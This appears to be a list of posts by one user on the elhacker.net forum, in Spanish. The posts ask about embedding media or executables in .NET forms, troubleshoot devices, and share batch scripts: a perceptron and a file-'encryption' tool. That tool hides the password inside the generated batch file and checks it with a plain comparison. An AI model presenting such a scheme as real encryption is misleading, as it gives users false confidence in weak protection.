elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.


 


Tema destacado: Sigue las noticias más importantes de elhacker.net en ttwitter!


  Mostrar Temas
Páginas: [1] 2 3 4
1  Programación / .NET / incrustar música .mp3 en un formulario . en: 12 Octubre 2017, 16:09
hola de nuevo. jeje

como dice el titulo , se podría meter una música en la pestaña resources . y después agregar el control de windows media player y el directorio poner esa musica?

osea yo se poner músicas en los formularios. pero la canción tiene que ir en la adjunto con el exe . y eso no es lo que quiero .

lo que quiero es hacer un exe que ya contenga dentro la canción y la reproduzca.

yo pienso que se debería incrustar como los txt en la parte de resources pero no se como poner el mp3
 
                                              gracias de antemano .  ;-)

                                                   
2  Programación / .NET / Incrustar un .exe dentro de un formulario . en: 11 Octubre 2017, 02:33
hola a todo. bueno tengo el siguiente problema:  :huh:

si yo quiero meter un .exe dentro de un formulario y ejecutar ese .exe incrustado
con un botón como podría hacer eso?  si alguien sabe algún code para realizar esto.

                                  Gracias de antemano  :D

3  Programación / Scripting / [batch] [aporte] batch archive security v0.3 en: 6 Octubre 2017, 23:49
si quieren escuchar una musica de fondo --->>     Y   Para los amantes del anime les dejo el opening de Tokyo Ghoul --->>

hola a todos acabo de terminar la versión 0.3 de mi Batch Archive Security  ;D

bueno con esta nueva versión se puede cifrar cualquier tipo de archivo sin importar que sea. osea con esta herramienta pueden ponerle contraseña hasta a su porn....xxx jeje.

atención para cifrar varios archivos a la vez dentro de un batch solo metan los archivos a cifrar dentro de una carpeta y listo , al cifrar colocan el nombre de esa carpeta. y así cifran varios archivos en uno.

bueno he aquí el código fuente pero no les va a servir ya que necesita un complemento para funcionar por eso lo tienen que descargar:

link del programa completo:


https://mega.nz/#!Y4FTFTwS!hTwpRhg6F51Ie9aTefouTLVa9HyZlb2U1kYGsu_gYh4

CODE:

Código
  1. @echo off
  2. title Bienbenido %USERNAME%                                           --- Batch Archive Security ---
  3. goto mksys
  4. :menu & cls  
  5. color a
  6. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse
  7. echo ³                                                               ³     Version
  8. echo ³        Este Programa Portable sirve para poner                ³         (0.3)
  9. echo ³             Contrase¤a a cualquier archivo.                   ³
  10. echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  11. echo ³      Creada especialmente para (Foro el Hacker.NET)           ³ BATCH       ³
  12. echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
  13. echo ³                                                               ³     SECURITY³
  14. echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  15. echo ³    PASOS A SEGUIR:                                            ³ Para:
  16. echo ³                                                               ³    F  
  17. echo ³    1) Escriba el nombre de el archivo a cifrar. y tambien     ³     o
  18. echo ³        Su formato. Ej: (.txt , .exe , .rar , .jar) etc..      ³      r
  19. echo ³                                                               ³       o
  20. echo ³    2) Escriba el Pass (Contrase¤a). Todo menos simbolos.      ³   El    
  21. echo ³                                                               ³ H
  22. echo ³    3) Listo..... :v                                           ³  a
  23. echo ³                                                               ³   c
  24. echo ³    4) En caso de no entender nada de los pasos, escriba       ³    k
  25. echo ³         help   y si no entiende Vayase a la mierrrrr...da     ³     e
  26. echo ³                                                               ³      r
  27. echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
  28. echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  29. set /p op= Escriba el nombre de el archivo a cifrar :
  30. if not defined op (goto:menu) >NUL
  31. If ["%op%"]==["help"] goto help >NUL
  32. if not exist %op% (goto:err) >NUL
  33. Ping -n 2 Localhost >NUL
  34.  
  35. set p=set
  36. set t=var
  37. set "resultado=%resultado:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789%" "
  38.  
  39. :si
  40. set /p ps= el archivo si existe escriba una contrase¤a :
  41. if not defined ps goto :si >NUL
  42. echo %ps%>>%temp%\pass1.txt
  43. Ping -n 2 Localhost >NUL
  44. set archivo=%temp%\pass1.txt
  45.  
  46. :::::::::::::::::
  47. :Ofuscador
  48. :::::::::::::::::
  49.  
  50. :Lineas
  51. Set Linea=0
  52. For /F "Tokens=*" %%a in ('Type %archivo% ^| Find /V /C ""') do (Set Total=%%a)
  53.  
  54. :Leer_Ofuscador
  55. If "%linea%" EQU "%total%" (Goto :Fin_Ofuscador)
  56.  
  57. For /F "Tokens=*" %%a in ('Type %archivo% ^| MORE +%Linea%') do (
  58.    Echo: Ofuscando: "%%a"
  59.    Set /A Linea+=1
  60.    Set "String=%%a"
  61.    If not defined string (Goto :Leer_Ofuscador)
  62.    Echo %%a>"%TEMP%\String.tmp"
  63.    FOR %%? IN (%TEMP%\String.tmp) DO ( SET /A Longitud=%%~z? - 2 )
  64.    Goto :Ofuscar
  65. )
  66.  
  67.  
  68. :Ofuscar
  69.  
  70.  
  71. If "%Count%" EQU "%Longitud%" (
  72.    call :Write_Ofuscador
  73.    Goto :Leer_Ofuscador)
  74.  
  75. ::Comilladoble
  76. Set "String=%String:"=€%"& rem "
  77.  
  78. ::Espacio
  79. If "%String:~0,1%" EQU " " (Set "New_String=%New_String% ")
  80.  
  81. ::Alpha
  82. If "%String:~0,1%" EQU "a" (Set "New_String=%New_String%%%var:~27,1%%")
  83. If "%String:~0,1%" EQU "b" (Set "New_String=%New_String%%%var:~28,1%%")
  84. If "%String:~0,1%" EQU "c" (Set "New_String=%New_String%%%var:~29,1%%")
  85. If "%String:~0,1%" EQU "d" (Set "New_String=%New_String%%%var:~30,1%%")
  86. If "%String:~0,1%" EQU "e" (Set "New_String=%New_String%%%var:~31,1%%")
  87. If "%String:~0,1%" EQU "f" (Set "New_String=%New_String%%%var:~32,1%%")
  88. If "%String:~0,1%" EQU "g" (Set "New_String=%New_String%%%var:~33,1%%")
  89. If "%String:~0,1%" EQU "h" (Set "New_String=%New_String%%%var:~34,1%%")
  90. If "%String:~0,1%" EQU "i" (Set "New_String=%New_String%%%var:~35,1%%")
  91. If "%String:~0,1%" EQU "j" (Set "New_String=%New_String%%%var:~36,1%%")
  92. If "%String:~0,1%" EQU "k" (Set "New_String=%New_String%%%var:~37,1%%")
  93. If "%String:~0,1%" EQU "l" (Set "New_String=%New_String%%%var:~38,1%%")
  94. If "%String:~0,1%" EQU "m" (Set "New_String=%New_String%%%var:~39,1%%")
  95. If "%String:~0,1%" EQU "n" (Set "New_String=%New_String%%%var:~40,1%%")
  96. If "%String:~0,1%" EQU "o" (Set "New_String=%New_String%%%var:~41,1%%")
  97. If "%String:~0,1%" EQU "p" (Set "New_String=%New_String%%%var:~42,1%%")
  98. If "%String:~0,1%" EQU "q" (Set "New_String=%New_String%%%var:~43,1%%")
  99. If "%String:~0,1%" EQU "r" (Set "New_String=%New_String%%%var:~44,1%%")
  100. If "%String:~0,1%" EQU "s" (Set "New_String=%New_String%%%var:~45,1%%")
  101. If "%String:~0,1%" EQU "t" (Set "New_String=%New_String%%%var:~46,1%%")
  102. If "%String:~0,1%" EQU "u" (Set "New_String=%New_String%%%var:~47,1%%")
  103. If "%String:~0,1%" EQU "v" (Set "New_String=%New_String%%%var:~48,1%%")
  104. If "%String:~0,1%" EQU "w" (Set "New_String=%New_String%%%var:~49,1%%")
  105. If "%String:~0,1%" EQU "x" (Set "New_String=%New_String%%%var:~50,1%%")
  106. If "%String:~0,1%" EQU "y" (Set "New_String=%New_String%%%var:~51,1%%")
  107. If "%String:~0,1%" EQU "z" (Set "New_String=%New_String%%%var:~52,1%%")
  108. If "%String:~0,1%" EQU "A" (Set "New_String=%New_String%%%var:~1,1%%")
  109. If "%String:~0,1%" EQU "B" (Set "New_String=%New_String%%%var:~2,1%%")
  110. If "%String:~0,1%" EQU "C" (Set "New_String=%New_String%%%var:~3,1%%")
  111. If "%String:~0,1%" EQU "D" (Set "New_String=%New_String%%%var:~4,1%%")
  112. If "%String:~0,1%" EQU "E" (Set "New_String=%New_String%%%var:~5,1%%")
  113. If "%String:~0,1%" EQU "F" (Set "New_String=%New_String%%%var:~6,1%%")
  114. If "%String:~0,1%" EQU "G" (Set "New_String=%New_String%%%var:~7,1%%")
  115. If "%String:~0,1%" EQU "H" (Set "New_String=%New_String%%%var:~8,1%%")
  116. If "%String:~0,1%" EQU "I" (Set "New_String=%New_String%%%var:~9,1%%")
  117. If "%String:~0,1%" EQU "J" (Set "New_String=%New_String%%%var:~10,1%%")
  118. If "%String:~0,1%" EQU "K" (Set "New_String=%New_String%%%var:~11,1%%")
  119. If "%String:~0,1%" EQU "L" (Set "New_String=%New_String%%%var:~12,1%%")
  120. If "%String:~0,1%" EQU "M" (Set "New_String=%New_String%%%var:~13,1%%")
  121. If "%String:~0,1%" EQU "N" (Set "New_String=%New_String%%%var:~14,1%%")
  122. If "%String:~0,1%" EQU "O" (Set "New_String=%New_String%%%var:~15,1%%")
  123. If "%String:~0,1%" EQU "P" (Set "New_String=%New_String%%%var:~16,1%%")
  124. If "%String:~0,1%" EQU "Q" (Set "New_String=%New_String%%%var:~17,1%%")
  125. If "%String:~0,1%" EQU "R" (Set "New_String=%New_String%%%var:~18,1%%")
  126. If "%String:~0,1%" EQU "S" (Set "New_String=%New_String%%%var:~19,1%%")
  127. If "%String:~0,1%" EQU "T" (Set "New_String=%New_String%%%var:~20,1%%")
  128. If "%String:~0,1%" EQU "U" (Set "New_String=%New_String%%%var:~21,1%%")
  129. If "%String:~0,1%" EQU "V" (Set "New_String=%New_String%%%var:~22,1%%")
  130. If "%String:~0,1%" EQU "W" (Set "New_String=%New_String%%%var:~23,1%%")
  131. If "%String:~0,1%" EQU "X" (Set "New_String=%New_String%%%var:~24,1%%")
  132. If "%String:~0,1%" EQU "Y" (Set "New_String=%New_String%%%var:~25,1%%")
  133. If "%String:~0,1%" EQU "Z" (Set "New_String=%New_String%%%var:~26,1%%")
  134.  
  135. ::Numeric
  136. If "%String:~0,1%" EQU "0" (Set "New_String=%New_String%%%var:~53,1%%")
  137. If "%String:~0,1%" EQU "1" (Set "New_String=%New_String%%%var:~54,1%%")
  138. If "%String:~0,1%" EQU "2" (Set "New_String=%New_String%%%var:~55,1%%")
  139. If "%String:~0,1%" EQU "3" (Set "New_String=%New_String%%%var:~56,1%%")
  140. If "%String:~0,1%" EQU "4" (Set "New_String=%New_String%%%var:~57,1%%")
  141. If "%String:~0,1%" EQU "5" (Set "New_String=%New_String%%%var:~58,1%%")
  142. If "%String:~0,1%" EQU "6" (Set "New_String=%New_String%%%var:~59,1%%")
  143. If "%String:~0,1%" EQU "7" (Set "New_String=%New_String%%%var:~60,1%%")
  144. If "%String:~0,1%" EQU "8" (Set "New_String=%New_String%%%var:~61,1%%")
  145. If "%String:~0,1%" EQU "9" (Set "New_String=%New_String%%%var:~62,1%%")
  146.  
  147. Set "String=%String:~1%"
  148. Set /A Count+=1
  149. Goto :Ofuscar
  150.  
  151. :Write_Ofuscador
  152. Set "New_String=%New_String:€="%"& rem "
  153. Echo %New_String%>>%temp%\pass.txt
  154. If NOT Errorlevel 0 (Echo ERROR & pause & Exit /B 1)
  155. Set "New_String="
  156. Set "Count="
  157. Goto :EOF
  158.  
  159. :Fin_Ofuscador
  160. Del /Q "%TEMP%\String.tmp"
  161. Cls
  162. echo ESPERE... | More
  163. Ping -n 2 Localhost >NUL
  164.  
  165. for /f "tokens=*" %%x in (%temp%\pass.txt) do (set psw=%%x)
  166.  
  167. start %temp%\CSS.exe a "%temp%\ar1" "%op%"
  168. Ping -n 2 Localhost >NUL
  169. :hsss
  170. (
  171. echo @echo off
  172. echo %p% %t%^=%resultado%
  173. echo if exist %op%.dll copy /b ^"%op%.dll^" ^"^%%temp%%\CSS.exe^" ^>nul
  174. echo if not exist %op%.dll goto aci ^>nul
  175. echo if exist ^"^%%temp%%\ar1.rar^" del ^"^%%temp%%\ar1.rar^" ^>nul
  176. echo goto sad
  177. echo :aci
  178. echo title Error en api . . . . . . .
  179. echo MODE con:cols=66 lines=18
  180. echo color c
  181. echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  182. echo echo ³                                                               ³
  183. echo echo ³                                                               ³
  184. echo echo ³       ERROR  :                                                ³
  185. echo echo ³                                                               ³
  186. echo echo ³     Se necesita el Archivo .dll para descifrar                ³
  187. echo echo ³                                                               ³
  188. echo echo ³                                                               ³
  189. echo echo ³                  ERROR CODE ^(2111996x32^)                      ³
  190. echo echo ³                                                               ³
  191. echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  192. echo pause
  193. echo exit
  194. echo :sad
  195. echo MODE con:cols=80 lines=26
  196. echo color a
  197. echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿  Realse
  198. echo echo ³                                                               ³     Version
  199. echo echo ³                                                               ³          0.3
  200. echo echo ³                                                               ³
  201. echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  202. echo echo ³      Creada especialmente para *Foro el Hacker.NET*           ³ BATCH       ³
  203. echo echo ³                       De Parte de **Aincrad**                 ³   ARCHIVE   ³
  204. echo echo ³                                                               ³     SECURITY³
  205. echo echo ³                                                               ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  206. echo echo ³    PASOS A SEGUIR:                                            ³ Para:
  207. echo echo ³     1. Escriba el Pass *Contrase¤a*. Todo menos simbolos.     ³    F  
  208. echo echo ³                                                               ³     o
  209. echo echo ³     2. Listo..... :v                                          ³      r
  210. echo echo ³                                                               ³       o
  211. echo echo ³     4. En caso de no entender nada de los pasos a seguir      ³   El    
  212. echo echo ³                     Vayase a la mierrrrr...da                 ³ H
  213. echo echo ³                                                               ³  a
  214. echo echo ³                                                               ³   c
  215. echo echo ³                                                               ³    k
  216. echo echo ³                                                               ³     e
  217. echo echo ³                                                               ³      r
  218. echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ       .NET
  219. echo echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  220. echo set /p c= Escriba la contrase¤a del archivo cifrado :
  221. echo if not defined c  ^exit  
  222. echo If ^%%c%%^=^= %psw% goto d  
  223. echo goto e
  224. echo :e
  225. echo title Error - contrase¤a Incorrecta.
  226. echo MODE con:cols=66 lines=18
  227. echo color c
  228. echo echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  229. echo echo ³                                                               ³
  230. echo echo ³                                                               ³
  231. echo echo ³       ERROR  :                                                ³
  232. echo echo ³                                                               ³
  233. echo echo ³     Contrase¤a Incorrecta - Porfavor vuelva a intentar        ³
  234. echo echo ³                                                               ³
  235. echo echo ³                                                               ³
  236. echo echo ³                  ERROR CODE ^(2111996x34^)                      ³
  237. echo echo ³                                                               ³
  238. echo echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  239. echo pause ^& goto sad
  240. echo goto sad
  241. echo :d
  242. echo copy /b ^"%op% cifrado.bat^" ^"^%%temp%%\ar1.rar^"
  243. echo start ^%%temp%%\CSS.exe e ^"^%%temp%%\ar1.rar^"
  244. echo exit) > %temp%\bas.bat
  245.  
  246. :co
  247. tasklist | find /i "rar.exe" && (
  248. echo ESPERE PORFAVOR . . . .
  249. ) || (
  250. Ping -n 4 Localhost >NUL
  251. echo Proceso terminado.
  252. copy /b "%temp%\bas.bat" + "%temp%\ar1.rar" "%op% cifrado.bat%
  253. copy /b "apc.dll" "%op%.dll"
  254. goto f
  255. )
  256. goto co
  257.  
  258. :f
  259. echo Proceso terminado Gracias por usar Batch Archive Security
  260. echo Salvador F. Krilewski.    **Aincrad**
  261. pause & exit
  262.  
  263. ::::::::::::::::::::::::::::
  264. :err
  265. ::::::::::::::::::::::::::::
  266. title Error . . . . . . .
  267. MODE con:cols=66 lines=18
  268. color c
  269. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  270. echo ³                                                               ³
  271. echo ³                                                               ³
  272. echo ³                                                               ³
  273. echo ³                                                               ³
  274. echo ³          no se ha Encontrado el Archivo Especificado.         ³
  275. echo ³                                                               ³
  276. echo ³                                                               ³
  277. echo ³                  ERROR CODE (2111995x32)                      ³
  278. echo ³                                                               ³
  279. echo ³                                                               ³
  280. echo ³                                                               ³
  281. echo ³                                                               ³
  282. echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  283. echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  284. echo/
  285. pause & exit
  286.  
  287. :api
  288. ::::::::::::::::::::::::::::
  289. title Error . . . . . . .
  290. MODE con:cols=66 lines=18
  291. color c
  292. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  293. echo ³                                                               ³
  294. echo ³                                                               ³
  295. echo ³       ERROR ENCONTRADO :                                      ³
  296. echo ³                                                               ³
  297. echo ³          no se ha Encontrado el Archivo api.dll .             ³
  298. echo ³                                                               ³
  299. echo ³                                                               ³
  300. echo ³                  ERROR CODE (2111996x32)                      ³
  301. echo ³                                                               ³
  302. echo ³                                                               ³
  303. echo ³                                                               ³
  304. echo ³                                                               ³
  305. echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  306. echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  307. echo/
  308. pause & exit
  309.  
  310. ::::::::::::::::::::::::::::
  311. :help
  312. ::::::::::::::::::::::::::::
  313. title help me . . .
  314. MODE con:cols=66 lines=18
  315. color a
  316. echo ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
  317. echo ³                                                               ³
  318. echo ³                                                               ³
  319. echo ³                                                               ³
  320. echo ³                                                               ³
  321. echo ³           Vallase a la *****. Bruto ignorante. :V JAJA       ³
  322. echo ³                                                               ³
  323. echo ³                                                               ³
  324. echo ³                  ERROR CODE (Usted=BURRO)                     ³
  325. echo ³                                                               ³
  326. echo ³                                                               ³
  327. echo ³                                              By S4Lsalsoft    ³
  328. echo ³                                                               ³
  329. echo ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
  330. echo   26/09/20017   Caracas-Venezuela           Create BY **Aincrad**
  331. echo/
  332. pause & exit
  333.  
  334. :mksys
  335. if exist apc.dll copy /b "apc.dll" "%temp%\CSS.exe" >nul
  336. if not exist apc.dll goto api >nul
  337. if exist %temp%\ar1.rar del %temp%\ar1.rar >nul
  338. if exist %temp%\pass.txt del %temp%\pass.txt >nul
  339. if exist %temp%\pass1.txt del %temp%\pass1.txt >nul
  340. if exist %temp%\bas.bat del %temp%\bas.bat >nul
  341. goto menu

Recuerden el batch solo no les va a funcionar, tienen que descargarla .

imagen del programa:



Y Para los desconfiados les dejo el reporte de virus-total :

https://www.virustotal.com/#/file/06df70be4d670fefdbdde4879513cb75aa5aac860b4023baf9ca1b5db3355f36/detection

                               comenten sus criticas y opiniones
4  Informática / Juegos y Consolas / Fuente de XBOX 360 prende de color naranja? en: 6 Octubre 2017, 20:32
Hola, a todo . tengo una XBOX 360 y ayer la fuente de poder empezó a Prender el led de color naranja y titila.

Alguien me puede explicar que significa?  :huh:


                                    Gracias de antemano-.
5  Programación / Programación General / Pagina para aprender a Programar. espero que les sea útil . en: 4 Octubre 2017, 22:10
hala. hoy cuando llege de la universidad estaba navegando en busca de pagina que enseñen a programar. estaba buscando c++ . y encontré esta pagina muy buena.

espero que les sirva a alguna persona que quiera aprender algún lenguaje.

http://tutorialesprogramacionya.com/

                          COMENTEN LO QUE SEA......
6  Foros Generales / Dudas Generales / ayuda con la etiqueta [youtube=640,360][/youtube] en: 4 Octubre 2017, 19:49
hola a todos los del foro.
se podria poner un video en un tema pero que el video tenga auto play.

osea que el video se empiese a reproducir solo sin tener que darle play.

7  Comunicaciones / Dispositivos Móviles (PDA's, Smartphones, Tablets) / PIT File de samsumg YP-G1 en: 3 Octubre 2017, 22:16
Hola a todos. bueno como dice el titulo.

como soluciono este problemilla.

yo tengo un Samsung YP-G1 Intl. mejor conocido como Samsung player 4.0 INTL.

Bueno , sin querer le instale otro archivo pit. con Odin . y ahora el telf se queda con la pantalla en negro.

intente descargar su pit original pero no se consigue fácilmente en internet. logre instalarle in pit parecido y intalarler el recobery pero no funciona.

le instale el pit del samsung player 5.0 y le intale ese recobery pero como es de la version 5.0 el telefono no instala la custom room.

si tan solo tuviera una manera de solucionar ese error.

 a ver si alguien puede conseguir el pit file de el samsung player 4.0 intl. o la rom original del telefono.

en donde mas consigo informacion para solucionar este problema es en:

https://forum.xda-developers.com

pero los link del pit de mi teléfono están caídos .
8  Programación / Scripting / (IA) Perceptron . . . en: 3 Octubre 2017, 21:27
hola a todos, abro este tema para al que le interese.  ;D

bueno empecemos.

que es un (AI)?

Inteligencia artificial, o AI. La inteligencia artificial (Artificial Intelligence, o AI) es la simulación de procesos de inteligencia humana por parte de máquinas, especialmente sistemas informáticos.

que es Perceptron?

El perceptrón multicapa es una red neuronal artificial (RNA) formada por múltiples capas, esto le permite resolver problemas que no son linealmente separables, lo cual es la principal limitación del perceptrón (también llamado perceptrón simple). El perceptrón multicapa puede ser totalmente o localmente conectado.

En pocas palabras el perceptron es la simulación de una neurona humana.



EN ESTE ESQUEMA DE PERCEPTOM SIMPLI SE PUEDE APRECIAR . QUE SE INCLUYE LA PARTE SENSORIAL.

con esta parte podemos apreciar que el desarrollo de una IA nunca estara completa si no tiene como sentir.  ya que muchos Psicólogos  han demostrado que por medio de las experiencias sensiorales el cerebro aprende.

ejemplo de perceptron :  

bach

Código
  1. @echo off
  2. rem Perceptron en batch
  3. rem por S4L
  4. rem 14/04/12
  5. color a
  6. setlocal EnableDelayedExpansion
  7. setlocal EnableExtensions
  8. set me=%0
  9. cscript.exe //H:cscript
  10. :::::::::::::::::::::::::::::::::::
  11. set Fgh=fghijklmnopqrstuvwxz
  12. set T=0.5
  13. set Alpha=0.1
  14. set iNn=3
  15. set oNut=1
  16. set TSName="NAND Gate"
  17. set TxSet=4
  18. set TySet=4
  19. set TSet.1=1,0,0,1
  20. set TSet.2=1,0,1,1
  21. set TSet.3=1,1,0,1
  22. set TSet.4=1,1,1,0
  23. set WxSet=1
  24. set WySet=3
  25. set WSet.1=0
  26. set WSet.2=0
  27. set WSet.3=0
  28. :::::::::::::::::::::::::::::::::::
  29.  
  30. echo Randomize>eval.vbs
  31. echo set objArgs = WScript.Arguments>>eval.vbs
  32. echo wscript.echo eval(objArgs(0))>>eval.vbs
  33. set Run=True
  34. rem for /l %%a in (1,1,%WySet%) do (
  35. rem call:SetEv WSet.%%a Rnd
  36. rem )
  37. set /a Tf=2+%iNn%+%oNut%
  38. set vfIn=%%%%g
  39. for /l %%a in (2,1,%iNn%) do (
  40. set vfIn=!vfIn!,%%%%!Fgh:~%%a,1!
  41. )
  42. set /a vfOut_ini=1+%iNn%
  43. set /a fOut=%vfOut_ini%-%oNut%
  44. set vfOut=%%%%!Fgh:~%vfOut_ini%,1!
  45. for /l %%a in (%vfOut_ini%,1,%fOut%) do (
  46. set vfOut=!vfout!,%%%%!Fgh:~%%a,1!
  47. )
  48. set str=Fo
  49. find "%str%r1"<%me%>stFor.bat
  50. echo set In.%%%%f=%vfIn%>>stFor.bat
  51. echo set Out.%%%%f=%vfOut%>>stFor.bat
  52. echo ^)>>stFor.bat
  53. call stFor
  54. echo --Training Started--
  55. :train
  56. set Run=False
  57. for /l %%a in (1,1,%TySet%) do (
  58. echo.
  59. (set/p av=Training.)<nul
  60. call:pre_Sum %%a
  61. call:UpdateW %%a
  62. )
  63. if %Run%==True goto:train
  64. :test
  65. echo.
  66. echo --%TSName% network succesfully trained!--
  67. echo --Testing--
  68. for /l %%a in (1,1,%iNn%) do (
  69. set /p iNn%%a=Input %%a ^(1/0^)?
  70. )
  71. call:PSum
  72. echo Network output=%out%
  73. set /p cnt=Continue testing ^(y/n^)?
  74. if %cnt%'==y' goto:test
  75. if %cnt%'==Y' goto:test
  76. goto:eof
  77.  
  78. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  79.  
  80. :UpdateW
  81. set /a error=!Out.%1!-%out%
  82. if not %error%==0 set Run=True
  83. call:SetEv C %error%*%Alpha%
  84. (set/p av=.)<nul
  85. (set/p av="  E=%error% W1=%WSet.1% W2=%WSet.2% W3=%WSet.3%")<nul
  86. for /l %%b in (1,1,%WySet%) do (
  87. call:SetEv WSet.%%b !WSet.%%b!+!iNn%%b!*!C!
  88. )
  89. goto:eof
  90.  
  91. :pre_Sum
  92. set str2=I
  93. set In.>In.
  94. find "%str2%n.%1"<In.>aIn.
  95. find "%str%r2"<%me%>stFor_In.bat
  96. for /l %%a in (1,1,%iNn%) do (
  97. echo set iNn%%a=%%%%!Fgh:~%%a,1!>>stFor_In.bat
  98. (set/p av=.)<nul
  99. )
  100. (set/p av=.)<nul
  101. echo ^)>>stFor_In.bat
  102. call stFor_In
  103. call:PSum %1
  104. goto:eof
  105.  
  106. :PSum
  107. set sum=0
  108. for /l %%a in (1,1,%iNn%) do (
  109. call:SetEv sum !sum!+!iNn%%a!*!WSet.%%a!
  110. )
  111. if /I %sum% gtr %T% (
  112. set out=1
  113. ) else (
  114. set out=0
  115. )
  116. goto:eof
  117.  
  118. :SetEv
  119. for /f %%i in ('eval //nologo "%2"') do set %1=%%i
  120. goto:eof
  121.  
  122. for /f "tokens=2-%Tf% delims=.,=" %%f in ('set TSet.') do ( %For1%
  123. for /f "tokens=2-%Tf% delims=.,=" %%f in (aIn.) do ( %For2%

para los de c++ les dejo el link:

https://www.facebook.com/TutorialesKatana/?sk=app_190322544333196

http://www.mundoprogramacion.com/colabora/puntoNET/jlopezi_RedNeuronal.htm


  si se preguntan todavía que finalidad tiene este tema. ni yo mismo lo se . jajaja.

bueno abrí este tema para los que esten desarrollando alguna AI O los quieran desarrollar.
                        
  COMENTEN sus aporte sobre IA un este tema
9  Programación / Scripting / [APORTE] [VBS] Convertidor de .vbs a .bat . (VBS2CMD) en: 2 Octubre 2017, 21:58
hola a todos los del foro.  :laugh:
hoy les traigo un convertidor de archivos vbs a .bat  . que encontre en internet, creo que el autor se llama Denis   (VBS2CMD)

code del convertidor (VBS2CMD.vbs)

Código
  1. Option Explicit
  2.  
  3. Const ForReading = 1
  4. Const ForWriting = 2
  5. Const ForAppending = 8
  6. Const TristateUseDefault = -2
  7.  
  8. Dim arrVBStext
  9. Dim blnQuiet
  10. Dim intOVRWT, intResult, intValidArgs
  11. Dim objDialog, objFile, objFSO, wshShell
  12. Dim strBaseFileName, strCMDout, strFileName, strFileNameIN, strFileNameOUT
  13. Dim strNewText, strOldText, strText, strVBSline
  14.  
  15. With WScript.Arguments
  16. If .Unnamed.Count > 1 Then Syntax
  17. intValidArgs = 0
  18. If .Unnamed.Count = 1 Then
  19. strFileNameIN = .Unnamed(0)
  20. intValidArgs = intValidArgs + 1
  21. End If
  22. If .Named.Exists( "Q" ) Then
  23. blnQuiet = True
  24. intValidArgs = intValidArgs + 1
  25. End If
  26. If intValidArgs <> .Count Then Syntax
  27. End With
  28.  
  29. Set WshShell = WScript.CreateObject( "WScript.Shell" )
